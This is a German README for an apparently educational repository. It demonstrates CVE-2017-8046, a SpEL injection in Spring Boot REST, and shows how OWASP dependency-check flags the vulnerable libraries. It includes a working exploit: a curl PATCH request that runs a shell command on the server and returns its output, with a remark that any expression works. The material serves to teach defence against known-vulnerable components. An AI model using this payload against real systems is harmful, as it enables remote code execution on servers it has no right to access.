
Lehrdemo von CVE-2017-8046 (SpEL-Injection in Spring Boot REST) mit Exploit-Schritten und OWASP dependency-check-Integration zur Identifizierung verwundbarer Komponenten.
HAFTUNGSAUSSCHLUSS: Dieses Repository ergänzt den VGS-Blogbeitrag Wie man "Die Verwendung von Komponenten mit bekannten Schwachstellen" vermeidet. Es enthält eine Anwendung mit einer bekannten Sicherheitslücke (nämlich CVE-2017-8046) sowie die Beschreibung, wie diese ausgenutzt werden kann. Verwenden Sie die Anwendung auf eigenes Risiko!
Starten Sie zuerst die Anwendung, indem Sie den folgenden Befehl aus dem Stammverzeichnis des Repositorys ausführen:
mvn clean spring-boot:run
Erstellen Sie dann eine Ressource, indem Sie eine POST-Anfrage wie folgt senden:
curl -X POST http://localhost:8080/books \
-H 'Content-Type: application/json' \
-d '{"isbn":"978-3827268969","title":"Thinking in Java","author":"Bruce Eckel"}'
curl -X PATCH http://localhost:8080/books/1 -H 'Content-Type: application/json-patch+json' -d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ifconfig\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'
Vorausgesetzt, Sie führen die Anwendung auf einem Unix-basierten Betriebssystem (z. B. macOS) aus, enthält die Antwort die Netzwerkkonfiguration des Hosts. Tatsächlich kann jeder SpEL-Ausdruck verwendet werden.
mvn clean package verify
Der Build wird fehlschlagen, da eine Abhängigkeit mit einem hohen Risiko identifiziert wurde:
[ERROR] Failed to execute goal org.owasp:dependency-check-maven:3.3.2:check (default) on project CVE-2017-8046:
[ERROR]
[ERROR] One or more dependencies were identified with vulnerabilities that have a CVSS score greater than or equal to '7.0':
[ERROR]
[ERROR] spring-boot-1.5.5.RELEASE.jar: CVE-2017-8046
[ERROR] spring-core-4.3.10.RELEASE.jar: CVE-2018-1275, CVE-2018-1270
[ERROR] jackson-databind-2.8.9.jar: CVE-2017-15095, CVE-2017-17485, CVE-2018-7489
[ERROR] spring-boot-starter-data-rest-1.5.5.RELEASE.jar: CVE-2018-1273, CVE-2017-8046
[ERROR]
[ERROR] See the dependency-check report for more details.
Weitere Details finden Sie im dependency-check-Bericht.
Möchten Sie direkt einsteigen? Schauen Sie sich unseren Erste-Schritte-Leitfaden an.
Very Good Security (VGS) ermöglicht es Ihnen, Ihre Sicherheitslage zu verbessern, während Sie den Nutzen Ihrer Daten intern und gegenüber Dritten beibehalten. Als zusätzlicher Vorteil beschleunigen wir Ihren Compliance-Zertifizierungsprozess und helfen Ihnen, schnell sicherheitsrelevante Compliance-Anforderungen zu erfüllen, die zwischen Ihnen und Ihren Marktchancen stehen.
Für weitere Informationen besuchen Sie uns unter https://www.verygoodsecurity.com/
Dieses Projekt ist unter der MIT-Lizenz lizenziert. Weitere Details finden Sie in der LICENSE-Datei.